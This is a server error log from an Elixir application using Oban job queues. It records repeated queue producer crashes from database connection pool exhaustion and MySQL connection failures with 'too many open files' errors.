dispatch_timer: #Reference<0.2525715032.1068236804.261042>, refresh_timer: #Reference<0.2525715032.1068236804.261016>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:13:45.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2032ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:13:33.246209Z], limit: 20, uuid: "3bb54e01-2a43-4690-b2c5-9efd32dadd25", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:13:33.246219Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.111378>, refresh_timer: #Reference<0.2525715032.1121189889.111375>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:13:46.305000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:13:49.711000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:13:51.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1812ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:13:39.237316Z], limit: 10, uuid: "304f9296-069a-4a75-8bd7-613da20c5140", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:13:39.237322Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.11402>, refresh_timer: #Reference<0.2525715032.1099431938.11394>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:13:52.361000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:13:54.015000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:13:56.387000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:13:56.739000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:13:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1897ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:13:45.241837Z], limit: 50, uuid: "71d8bb96-5689-4e23-b31e-dc7f9010e14a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:13:45.241842Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.241797>, refresh_timer: #Reference<0.2525715032.1121189889.111430>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:13:57.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2025ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:13:45.238982Z], limit: 5, uuid: "edc7ed37-2614-4142-ad58-668f6a1dfe3c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:13:45.238991Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.241796>, refresh_timer: #Reference<0.2525715032.1068236804.261171>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:13:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1842ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:13:45.240932Z], limit: 5, uuid: "db0c1ad0-ff65-4aec-9a0f-d342e5c22e1f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:13:45.240938Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.241795>, refresh_timer: #Reference<0.2525715032.1077411843.241755>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:13:57.242000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2041ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:13:45.243362Z], limit: 20, uuid: "16e1bc83-f3eb-40d1-9c84-662e263d262c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:13:45.243367Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.11631>, refresh_timer: #Reference<0.2525715032.1099431938.11611>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:13:57.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2022ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:13:45.242012Z], limit: 3, uuid: "4f69af36-1f30-4aae-81b8-285f0742f9a2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:13:45.242017Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.241798>, refresh_timer: #Reference<0.2525715032.1121189889.111429>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:13:59.803000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:14:00.783000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:14:03.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2023ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:13:51.239665Z], limit: 10, uuid: "ec22d7a2-ddda-455f-8031-16d3ef02b9aa", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:13:51.239672Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.241948>, refresh_timer: #Reference<0.2525715032.1077411843.241940>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:14:05.092000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:14:05.153000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:14:09.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1893ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
